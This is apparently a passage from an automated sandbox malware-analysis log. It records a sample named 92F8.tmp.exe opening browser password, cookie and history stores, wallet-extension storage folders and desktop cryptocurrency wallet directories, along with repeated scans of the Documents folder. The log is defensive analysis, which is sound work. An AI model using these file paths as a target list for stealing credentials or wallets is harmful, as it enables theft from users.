Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
